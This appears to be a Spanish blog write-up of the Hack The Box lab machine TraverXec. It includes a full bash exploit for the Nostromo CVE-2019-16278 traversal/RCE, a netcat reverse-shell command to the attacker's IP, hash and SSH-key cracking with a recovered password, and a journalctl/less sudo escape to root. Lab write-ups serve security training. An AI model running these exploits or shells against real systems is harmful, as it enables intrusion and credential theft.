Publicaciones HTB-TRAVERXEC
Post
Cancel

HTB-TRAVERXEC

Decripción del entorno

Atacante

OSKali Linux
IP10.10.14.67

Maquina Objetivo

OSLinux
IP10.10.10.165
Dificultad4.7/10 / Easy
URLTraverXec

Enumeración

Se realiza la enumeración habitual para el reconocimiento e identificación de los puertos abiertos en el sistema:

1
$ nmap -sS -sV -sC -oA nmap_traverxec 10.10.10.165

Escaneo con Nmap Resultado escaneo con nmap

Validando las cabeceras HTTP en el puerto 80 identificamos un servidor Nostromo 1.9.6 el cual expone una aplicación web:

Puerto 80 Aplicación en el puerto 80

Se realiza la busqueda pública de exploit’s o CVE’s que afecten al servicio Nostromo, hallando el CVE-2019-16278:

Este exploit en ejecución es bastante directo, pues consta de un Directory Traversal and Remote Code Execution el cual, a través de la URL accedemos a un binario como /bin/sh, y también permite pasarle los parámetros a ejecutar mediante POST:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env bash

HOST="$1"
PORT="$2"
shift 2

( \
    echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
    echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
    echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
  | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'

Como alternativa al exploit se puede ver la ejecución practica del exploit con BurpSuite:

Con lo anterior, ejecutamos una Shell reversa usando netcat:

  • nc 10.10.14.67 4646 -e /bin/sh
  • nc -nvlp 4646

Shell reversa Ejecución de una reverse shell

Una vez con la Shell, contamos con los privilegios del usuario www-data y se realiza la recolección de información para intentar escalar hacia el usuario David. Se identifica el archivo de configuración del sistema nostromo:

1
$ cat /var/nostromo/conf/

Se identifican diferentes archivos interesantes:

  • .htpasswd
  • nhttpd.conf

Del primer archivo se logra identificar un hash, así que procedemos a realizar un proceso de password cracking:

1
$ hashcat –force -m 500 -a 0 hash.txt rockyou.txt

Hashcat Ejecución de Hashcat

  • David: Nowonly4me

A pesar obtener credenciales de acceso, no encontramos un sitio para activarlas o impersonar al usuario David, así que analizando el archivo nhttpd.conf y descubrimos que existen varios directorios como “home dirs”:

  • /home
  • /public_www

Desde la pagina web, se puede ingresar al directorio ~/David/:

Carpeta David Desde el servidor al directorio David

También se intenta con /protected-file-area/:

Directorio Privado Directorio Privado

Esto nos permite acceder directamente al contenido:

Descarga de Archivos Descarga de archivos

Descargamos el archivo id_rsa y se observa que esta protegido por una contraseña, así que se procede a transformar y extraer el hash en formato john:

1
$ ssh2john id_rsa

id_rsa Archivo Id_RSA

Se realiza un ataque de password cracking con John The Ripper:

Cracking Cracking del id_rsa

Teniendo la clave, se realiza la conexión SSH al servidor como el usuario David:

Acceso David Acceso como usuario David

Elevación de Privilegios

Ahora, dentro de la carpeta del usuario David se identifica una carpeta /bin/ que tiene el siguiente archivo bash:

Archivos binarios Archivos binarios

Del contenido del archivo, identificamos la última línea como la importante, debido a que hace sudo de un servicio para ejecutar como root el comando journalctl:

1
$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

En este punto de la escala de privilegios, consultamos gtfobins:

Nos brinda información importante sobre cómo abusar del binario jounalctl para escalar privilegios en casos donde tenemos su ejecución privilegiada o mal configurada:

jounalctl Explotación binario jounalctl

NOTA: Es importante decir, que en este punto toma tiempo entender plenamente la forma de ejecución del posible vector de escala de privilegios, debido a que la ejecución era muy rápida y no permitía ingresar los comandos apropiados.

El comando journalctl hace uso del servicio less para mostrar en pantalla todo el contenido de las últimas líneas de los logs del servicio nostromo.service, sin embargo, el comando esta atado a mostrar solo 5 líneas de logs (-n 5) por lo que NO nos da tiempo de ejecutar e ingresar la expresión ¡/bin/sh para obtener la Shell.

La forma de solucionar este problema es más que simple, recursiva y curiosa. Solo se debe ajustar la el tamaño de nuestra terminal para que no muestre completamente el contenido de las líneas, pues al faltarle contenido de forma horizontal, el servicio less (que es el que ejecuta de fondo) se ve obligado a activar el ingreso de datos para movernos a la información que no se puede mostrar, lo que nos da tiempo de ingresar el comando y ejecutar la Shell:

Privilegios Privilegios Root

Bytez ;)

Referencias

This post is licensed under CC BY 4.0 by the author.
Tabla de Contenido